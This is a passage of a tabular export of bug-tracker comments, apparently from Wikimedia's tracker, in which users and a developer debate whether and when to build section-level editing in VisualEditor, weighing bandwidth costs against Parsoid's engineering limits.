* 1 click and 10 secs to save",,,1375516381,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,2.0,11.5,0.0,6.5,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.0,1.0,0.5,4.0,6.0,0.0,0.0,0.0,0.0,9.5,0.0,16.0,0.0,1.5,11.5,0.5,0.5,2.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,2.9542900919305417,0.5191521961184883,"upgrading this to ""highest"" as this is the main reason for item 1 (slow loading), item 2 (slow scrolling) and item 6 (no section editing) of URL personally i think this should be _the only_ ""immediate"". why?

i tried it at URL
* 1 click and 15 secs to edit
* 1 click to make go a away a note (see attachment)
* 1 click to edit summary
* 1 click and 20 secs to review changes
* 1 click to return to save form
* 1 click and 40 secs to save
* 5* pg down to go to the section just edited

section edit with the text editor takes:
* 1 click and 2 secs to open
* 1 click and 2 secs to preview
* 1 pg-down to find the save button
* 1 click and 10 secs to save"
223219,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"This:
""but I cannot justify spending donor funds to that extent""
just turned into:
""we're hoping to be able to undertake it some time towards the start/middle of next calendar year""

Which sure sounds like a priority change, so I'm not sure if my flag change was psychic-magic or precipitative-magic, but either way, it now seems like the correct priority status.  I've tried communicating other ways:
https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Section_editing_will_never_be_implemented
(""Any update from the dev discussion?"") but got no answer, and the known problems page still says ""not planned"".

Anyway, it's good to hear that you are now planning to do this.  I'm sure it will be worth it for low-bandwidth editors.",,,1375369864,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,1.5,7.0,1.5,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,3.5,0.5,5.5,8.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,5.0,2.0,3.0,0.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,1.0,2.0,0.0,1.5,0.0,0.0,0.5,12.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.5,5.0,1.0,3.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,7.0,8.0,0.5,0.5,4.5,0.0,7.0,0.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,3.4768564768564767,0.7872127872127872,"This:
""but I cannot justify spending donor funds to that extent""
just turned into:
""we're hoping to be able to undertake it some time towards the start/middle of next calendar year""

Which sure sounds like a priority change, so I'm not sure if my flag change was psychic-magic or precipitative-magic, but either way, it now seems like the correct priority status.  I've tried communicating other ways:
URL
(""Any update from the dev discussion?"") but got no answer, and the known problems page still says ""not planned"".

Anyway, it's good to hear that you are now planning to do this.  I'm sure it will be worth it for low-bandwidth editors."
223215,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #43)
> I'm upgrading this to ""normal"" since it's listed at #4 on
> https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Known_problems and I'm
> not
> seeing any good case for low/lowest made here.

The ""priority"" field doesn't mean ""how much do people want it"", it's ""how soon are the developers likely to get to do it"".

As I explained above, this will require a series of major changes in Parsoid and a huge re-write of MediaWiki's skins system as we switch over to use Parsoid's generated HTML for read pages, and is many (many) months away - we're hoping to be able to undertake it some time towards the start/middle of next calendar year.

Magically changing the status of the priority doesn't make this complex work happen any quicker. There is no value in edit-warring over Bugzilla statuses, so I'm going to leave this as is, but please don't make changes like this.",,,1375301261,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,4,,3.0,0.0,0.0,0.0,1.5,5.0,1.5,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.5,2.0,0.0,5.0,13.0,0.0,4.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,6.5,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,3.0,8.5,1.5,1.5,8.0,0.0,0.0,0.0,0.5,7.0,0.5,0.5,0.0,4.5,13.0,3.5,0.0,3.0,0.0,4.5,0.0,1.0,1.0,0.0,2.5,0.0,0.0,0.0,3.564705882352941,0.7529411764705882,"(In reply to comment #43)
QUOTE
QUOTE
QUOTE
QUOTE

The ""priority"" field doesn't mean ""how much do people want it"", it's ""how soon are the developers likely to get to do it"".

As I explained above, this will require a series of major changes in Parsoid and a huge re-write of MediaWiki's skins system as we switch over to use Parsoid's generated HTML for read pages, and is many (many) months away - we're hoping to be able to undertake it some time towards the start/middle of next calendar year.

Magically changing the status of the priority doesn't make this complex work happen any quicker. There is no value in edit-warring over Bugzilla statuses, so I'm going to leave this as is, but please don't make changes like this."
223212,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I'm upgrading this to ""normal"" since it's listed at #4 on https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Known_problems and I'm not seeing any good case for low/lowest made here.",,,1375243706,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,9.0,16.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0625,0.90625,"I'm upgrading this to ""normal"" since it's listed at #4 on URL and I'm not seeing any good case for low/lowest made here."
223209,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"**joedecker** wrote:

This is quite serious for slow connections.",,,1372953307,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.8125,"**joedecker** wrote:

This is quite serious for slow connections."
223203,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Ah, the disappearing double-links are Bug 50731.",,,1372952558,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.8181818181818183,1.0,"Ah, the disappearing double-links are Bug 50731."
223197,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Ah, I see the ""edit|edit source"" links on sections have turned back into just ""edit"" links, which edit the wikitext. Thank you :-)",,,1372936067,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.7666666666666667,"Ah, I see the ""edit|edit source"" links on sections have turned back into just ""edit"" links, which edit the wikitext. Thank you :-)"
223191,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I appreciate the VE is a hard problem  - but now you have an interface that *lies* to the user. It claims visual section editing is possible, but the PM for the VE has stated this functionality will not be funded.

So, is the interface lying to the user this bug, or should it be a separate bug?

If lying to the user is considered a feature, what is it for?",,,1372922447,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,1.0,5.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,1.0,4.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,13.0,8.0,8.0,1.0,4.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,7.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.4523809523809526,0.6190476190476191,"I appreciate the VE is a hard problem  - but now you have an interface that *lies* to the user. It claims visual section editing is possible, but the PM for the VE has stated this functionality will not be funded.

So, is the interface lying to the user this bug, or should it be a separate bug?

If lying to the user is considered a feature, what is it for?"
223185,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Oh, and sorry to be pedantic, but in the original context, ""marginal utility"" was not referring to a specific semi-solution as far as I can see:

>> I don't seem to be able to section edit with VisualEditor.
> To edit a section, we would need to get its HTML from Parsoid - but a section
isn't guaranteed to be balanced HTML ...
> Coming up with a solution to this is would be a significant piece of
engineering effort for marginal utility.

Thank you for confirming now that you *do* see utility in stopping the waste of bandwidth and slowing of load time.  Even if you think it is too difficult.",,,1372852730,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,2.0,8.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,3.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.0,5.0,9.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,5.0,13.0,3.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.7252747252747254,0.6923076923076923,"Oh, and sorry to be pedantic, but in the original context, ""marginal utility"" was not referring to a specific semi-solution as far as I can see:

QUOTE
QUOTE
isn't guaranteed to be balanced HTML ...
QUOTE
engineering effort for marginal utility.

Thank you for confirming now that you *do* see utility in stopping the waste of bandwidth and slowing of load time.  Even if you think it is too difficult."
223180,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"> the core developers of this are not intending to work on this issue any time soon
That's exactly what befuddles me, and seems like a poor judgement.  If it's anywhere near as big a task as you envisage, then I can't expect a volunteer to take it up.  So I conclude that realistically it will never be done.

> having the entire document available, but just not editable
Ok, I agree that would be useless, possibly of negative value. You're right that this is not what I'm asking for.

>Parsoid that loaded and edited only one section at a time would be a mammoth piece of work
Obviously I'm not a mediawiki programmer, so I speak from ignorance here.  But I don't understand why Parsoid can't just be given a shorter piece of wikitext to parse, along with the section number it is starting at.  Since the old editor is quite capable of serving up a correct section of the wikicode to the user, I don't see why the same wikicode can't be given to Parsoid.  Please can you get a third and fourth opinion on the feasibility of this.  Someone in your team may be able to think of a way around the problems you envisage.

> I've edited Wikipedia (and other wikis) since 2001, including over heroically-terrible connexions
So have you now also tried VisualEditor on those heroically-terrible connections?  I'm willing to bet that you will feel the weight of this problem.

>I cannot justify spending donor funds
The whole goal of VisualEditor is to improve accessibility and the editing experience for lower-tech editors right?  Well, the sad truth is that low-tech and globally underrepresented editor communities are strongly correlated with low bandwidth access.  Section editing in a long article gives an order of magnitude speed gain to those editors.  If you cannot do this for the target audience, I fear that VisualEditor will not serve those who need it the most.

I really hope you will discuss this with more people before confining it to the dustbin.",,,1372839855,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.25,0.25,1.0,2.25,7.0,1.25,0.0,0.0,0.5,1.0,2.25,0.0,0.0,0.0,3.0,0.0,8.5,11.5,0.25,1.25,0.0,0.25,0.0,0.25,0.25,0.0,0.5,0.75,1.25,0.25,6.75,2.0,1.5,0.5,2.25,0.25,0.0,0.75,0.75,0.0,0.0,0.25,1.75,0.0,0.5,0.0,0.0,0.75,11.25,1.25,1.75,0.0,1.0,0.0,0.0,0.25,0.0,0.25,0.0,0.5,2.25,0.0,0.5,0.0,0.0,0.5,6.25,2.75,9.25,2.25,1.25,9.25,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,7.0,11.5,1.25,0.5,0.0,0.0,7.0,0.0,1.25,2.5,0.25,1.25,0.75,0.25,0.0,3.877439187383053,0.7112068965517241,"QUOTE
That's exactly what befuddles me, and seems like a poor judgement.  If it's anywhere near as big a task as you envisage, then I can't expect a volunteer to take it up.  So I conclude that realistically it will never be done.

QUOTE
Ok, I agree that would be useless, possibly of negative value. You're right that this is not what I'm asking for.

QUOTE
Obviously I'm not a mediawiki programmer, so I speak from ignorance here.  But I don't understand why Parsoid can't just be given a shorter piece of wikitext to parse, along with the section number it is starting at.  Since the old editor is quite capable of serving up a correct section of the wikicode to the user, I don't see why the same wikicode can't be given to Parsoid.  Please can you get a third and fourth opinion on the feasibility of this.  Someone in your team may be able to think of a way around the problems you envisage.

QUOTE
So have you now also tried VisualEditor on those heroically-terrible connections?  I'm willing to bet that you will feel the weight of this problem.

QUOTE
The whole goal of VisualEditor is to improve accessibility and the editing experience for lower-tech editors right?  Well, the sad truth is that low-tech and globally underrepresented editor communities are strongly correlated with low bandwidth access.  Section editing in a long article gives an order of magnitude speed gain to those editors.  If you cannot do this for the target audience, I fear that VisualEditor will not serve those who need it the most.

I really hope you will discuss this with more people before confining it to the dustbin."
223174,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"
> Solving what you're actually asking for (a form of VisualEditor/Parsoid that
> loaded and edited only one section at a time) would be a mammoth piece of
> work,
> albeit with some usefuless as you describe.
> 
> > James, please try regular editing on a slow connection if you haven't done
> > this before, I'm pretty sure you'll end up editing the section source.
> 
> I've edited Wikipedia (and other wikis) since 2001, including over
> heroically-terrible connexions through the years; I am very aware of the
> impact
> that our current site has on low-bandwidth users, even without VisualEditor,
> but I cannot justify spending donor funds to that extent when there are more
> pressing demands on the resources of the VisualEditor team.

My first thought is what were people thinking when they thought that using a visual editor to edit a whole page at a time would not slow things down a lot for many users? I am not a developer though, and hindsight is 20/20. 

Whatever it costs to make a visual editor that edits a section at at time would be worth it. The WMF spends money on far less important things. I have been saying this for years. 

I think millions of dollars more a year should be spent on developer salaries just for the visual editor, and the coordination of vast armies of volunteer developers to work on the visual editor. Another spending priority would be developer money for cross-wiki watchlists.",,,1372837803,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,1.0,1.0,7.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,10.5,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.5,0.5,4.5,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,17.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,6.5,4.5,11.5,1.0,1.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.0,10.5,7.0,0.5,0.0,0.0,4.0,0.0,2.0,4.0,0.0,1.5,1.0,0.0,0.0,3.9055245371730827,0.6367910667058478,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

My first thought is what were people thinking when they thought that using a visual editor to edit a whole page at a time would not slow things down a lot for many users? I am not a developer though, and hindsight is 20/20. 

Whatever it costs to make a visual editor that edits a section at at time would be worth it. The WMF spends money on far less important things. I have been saying this for years. 

I think millions of dollars more a year should be spent on developer salaries just for the visual editor, and the coordination of vast armies of volunteer developers to work on the visual editor. Another spending priority would be developer money for cross-wiki watchlists."
223168,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #34)
> I can't believe that section editing is marked as a ""lowest priority""
> ""enhancement""!

""Enhancement"" means ""the software doesn't do this, and isn't as-written meant to do this""; it's not a judgement on whether it should.

""Lowest priority"" means ""the core developers of this are not intending to work on this issue any time soon""; bugs are always open to other developers coming and working on them, which frequently happens.

""Lowest"" is a very clear way of me marking the bug as something that can be taken up without fear of duplication of work by a developer new to the code. (This is known as avoiding ""cookie licking"".)

> This is incredibly important to me.

I appreciate that it is important to some editors, but I have to balance all requested features, changes and bugs with VisualEditor against one another, and in my judgement this is, relatively, an edge case.

> The way it's currently set up wastes bandwidth and slows load time relative
> to the old editor. Both of these are important when making a quick-fix edit.

I agree with that; I recommend using the wikitext editor for exactly these use cases by power users if they prefer.

> Hardly ""marginal utility"". 

That specifically refers to finding a solution which you don't want.

A simpler solution - involving having the entire document available, but just not editable except for the section the user asked for - is do-able, but in that case, the benefits you're looking for (low bandwidth, fast loading time, low load on local computers) would not be present; hence, marginal utility.

Solving what you're actually asking for (a form of VisualEditor/Parsoid that loaded and edited only one section at a time) would be a mammoth piece of work, albeit with some usefuless as you describe.

> James, please try regular editing on a slow connection if you haven't done
> this before, I'm pretty sure you'll end up editing the section source.

I've edited Wikipedia (and other wikis) since 2001, including over heroically-terrible connexions through the years; I am very aware of the impact that our current site has on low-bandwidth users, even without VisualEditor, but I cannot justify spending donor funds to that extent when there are more pressing demands on the resources of the VisualEditor team.

> I'm quite supportive of visual editor in general, but if this is not going
> to be fixed, I may have to turn back.

I'm sorry that that is the case, and hope that it does not come to that. Sorry if my explanation here is insufficient.",,,1372812826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,0,,0.8,0.2,0.4,0.4,1.8,6.0,1.6,0.0,0.0,0.4,1.6,1.4,0.0,0.2,0.2,2.6,0.0,5.6,11.6,0.2,0.8,0.2,0.2,0.0,0.8,0.6,0.0,0.0,0.4,0.4,0.2,6.6,1.4,0.8,0.8,0.8,0.0,0.2,0.6,1.6,0.0,0.4,0.0,2.4,0.0,0.6,0.2,0.0,0.2,12.6,2.0,1.2,0.0,0.4,0.0,0.0,0.2,0.0,0.8,0.0,0.8,1.4,0.0,0.0,0.6,0.0,0.0,4.8,3.2,6.8,2.2,2.2,8.6,0.0,0.0,0.0,0.2,2.4,0.2,0.8,0.0,4.6,11.6,1.6,0.0,2.4,0.0,4.6,0.0,1.6,1.8,0.4,2.8,0.4,0.2,0.0,3.8909874608150474,0.7140282131661442,"(In reply to comment #34)
QUOTE
QUOTE

""Enhancement"" means ""the software doesn't do this, and isn't as-written meant to do this""; it's not a judgement on whether it should.

""Lowest priority"" means ""the core developers of this are not intending to work on this issue any time soon""; bugs are always open to other developers coming and working on them, which frequently happens.

""Lowest"" is a very clear way of me marking the bug as something that can be taken up without fear of duplication of work by a developer new to the code. (This is known as avoiding ""cookie licking"".)

QUOTE

I appreciate that it is important to some editors, but I have to balance all requested features, changes and bugs with VisualEditor against one another, and in my judgement this is, relatively, an edge case.

QUOTE
QUOTE

I agree with that; I recommend using the wikitext editor for exactly these use cases by power users if they prefer.

QUOTE

That specifically refers to finding a solution which you don't want.

A simpler solution - involving having the entire document available, but just not editable except for the section the user asked for - is do-able, but in that case, the benefits you're looking for (low bandwidth, fast loading time, low load on local computers) would not be present; hence, marginal utility.

Solving what you're actually asking for (a form of VisualEditor/Parsoid that loaded and edited only one section at a time) would be a mammoth piece of work, albeit with some usefuless as you describe.

QUOTE
QUOTE

I've edited Wikipedia (and other wikis) since 2001, including over heroically-terrible connexions through the years; I am very aware of the impact that our current site has on low-bandwidth users, even without VisualEditor, but I cannot justify spending donor funds to that extent when there are more pressing demands on the resources of the VisualEditor team.

QUOTE
QUOTE

I'm sorry that that is the case, and hope that it does not come to that. Sorry if my explanation here is insufficient."
223164,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I can't believe that section editing is marked as a ""lowest priority"" ""enhancement""!  This is incredibly important to me.  The way it's currently set up wastes bandwidth and slows load time relative to the old editor.  Both of these are important when making a quick-fix edit.  Hardly ""marginal utility"".  James, please try regular editing on a slow connection if you haven't done this before, I'm pretty sure you'll end up editing the section source.  I'm quite supportive of visual editor in general, but if this is not going to be fixed, I may have to turn back.",,,1372805196,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,1.5,2.0,9.0,1.0,0.0,0.0,1.5,1.5,3.5,0.0,0.5,0.0,3.5,0.0,7.0,9.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.5,6.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,5.5,2.5,1.5,6.5,0.0,0.0,0.5,0.0,4.5,1.0,0.0,0.0,5.5,9.0,1.0,0.0,3.5,0.0,5.5,0.0,0.5,2.0,0.5,2.0,0.0,0.5,0.0,3.6640625,0.78125,"I can't believe that section editing is marked as a ""lowest priority"" ""enhancement""!  This is incredibly important to me.  The way it's currently set up wastes bandwidth and slows load time relative to the old editor.  Both of these are important when making a quick-fix edit.  Hardly ""marginal utility"".  James, please try regular editing on a slow connection if you haven't done this before, I'm pretty sure you'll end up editing the section source.  I'm quite supportive of visual editor in general, but if this is not going to be fixed, I may have to turn back."
223160,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,%%%*** Bug 50592 has been marked as a duplicate of this bug. ***%%%,,,1372793232,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 50592 has been marked as a duplicate of this bug. ***%%%
223157,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Just a note (for users not following the other bugs) that we have just merged a change along the lines of bug 49666 - there will be both an ""edit"" and an ""edit source"" link on every section, with the edit link taking the user into VisualEditor, scrolled down to that section.

This enhancement request (to have VE appear just for a section within a wider page) is not impossible, and we're keen to explore what impact it has, but very hard, and blocked on Parsoid's HTML being used as the basis for MW's read pages, so may take some time.",,,1372281418,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-1,,1.5,0.0,1.0,1.0,1.5,4.5,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,1.5,0.0,5.5,10.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,1.5,3.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,12.5,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.0,5.0,0.5,3.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,10.5,3.0,0.0,2.0,0.0,2.0,0.0,1.0,3.5,0.0,1.0,1.0,0.0,0.0,3.6277322404371586,0.8185792349726776,"Just a note (for users not following the other bugs) that we have just merged a change along the lines of bug 49666 - there will be both an ""edit"" and an ""edit source"" link on every section, with the edit link taking the user into VisualEditor, scrolled down to that section.

This enhancement request (to have VE appear just for a section within a wider page) is not impossible, and we're keen to explore what impact it has, but very hard, and blocked on Parsoid's HTML being used as the basis for MW's read pages, so may take some time."
223151,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Related URL: https://gerrit.wikimedia.org/r/69984 (Gerrit Change I4b9c47fd65a700a81c880144247fec524edff7e5),,,1371931754,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4b9c47fd65a700a81c880144247fec524edff7e5)
223145,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #18)
> I commented at
> http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/
> Feedback#Now_unable_to_edit_sections_by_old_method
> that it would be ideal to have section-edit links for [edit] and [edit
> source].
> 
>  ie.
> Sandbox [edit]
>  replaced with:
> Sandbox [edit] [edit source]
> 
> I believe this would prevent a LOT of complaints in the short term, and it
> would permit a lot of us to continue being active beta testers
> (section-editing
> is my most frequent type of edit), that it should be High priority, if at all
> possible. Thanks.

